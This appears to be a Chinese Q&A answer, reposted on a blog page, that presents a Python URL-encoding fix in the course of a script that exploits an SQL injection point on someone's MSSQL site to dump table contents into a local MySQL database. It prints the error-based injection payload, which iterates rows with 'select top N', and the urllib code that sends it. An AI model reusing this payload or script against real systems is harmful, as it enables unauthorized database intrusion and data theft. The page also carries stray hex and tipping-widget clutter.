python网址太长_python中url太长怎么解决

展开全部

今天写了个脚本 主要就是实现利用SQLInj点直接把数据获取到本地62616964757a686964616fe58685e5aeb931333363383462并存到Mysql数据库中

学过Python的都知道可以使用urllib2中的request()方法直接打开Url,但仅限于url后没有跟复杂的参数串

今天我利用的Url是

' and (select top 1 cast(CONTENT as varchar(8000)) from xxx.dbo.xxx where cast(CONTENT as varchar) not in (select top 22 cast(CONTENT as varchar) from xxx.dbo.xxx))=0--

开始我也直接用以下语句测试的:

url="上面的URL"

req=urllib2.Request(url)

urllib2.urlopen(req)

可是执行后一直提示500错误,由此可以发现应该是Python在对Url进行编码的时候更改了某些特殊字符造成Url失效

我们可以用urllib2或urllib的quote()方法控制对特殊字符的URL编码,这里推荐用 urllib下的quote_plus()方法,它将空格转化成'+'而非%20通用性更好。

我们更改后的代码如下:

url = "' and (select top 1 cast(CONTENT as varchar(8000)) from xxx.dbo.xxx where cast(CONTENT as varchar) not in (select top "+str(count)+" cast(CONTENT as varchar) from xxx.dbo.xxx))=0--"

quoteUrl=urllib.quote_plus(url,safe=':\'/?&=()')

fd = urllib.urlopen(quoteUrl)

这样我们就可以正常的提取数据了

本回答由提问者推荐

2Q==

已赞过

已踩过<

你对这个回答的评价是?

评论

收起

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值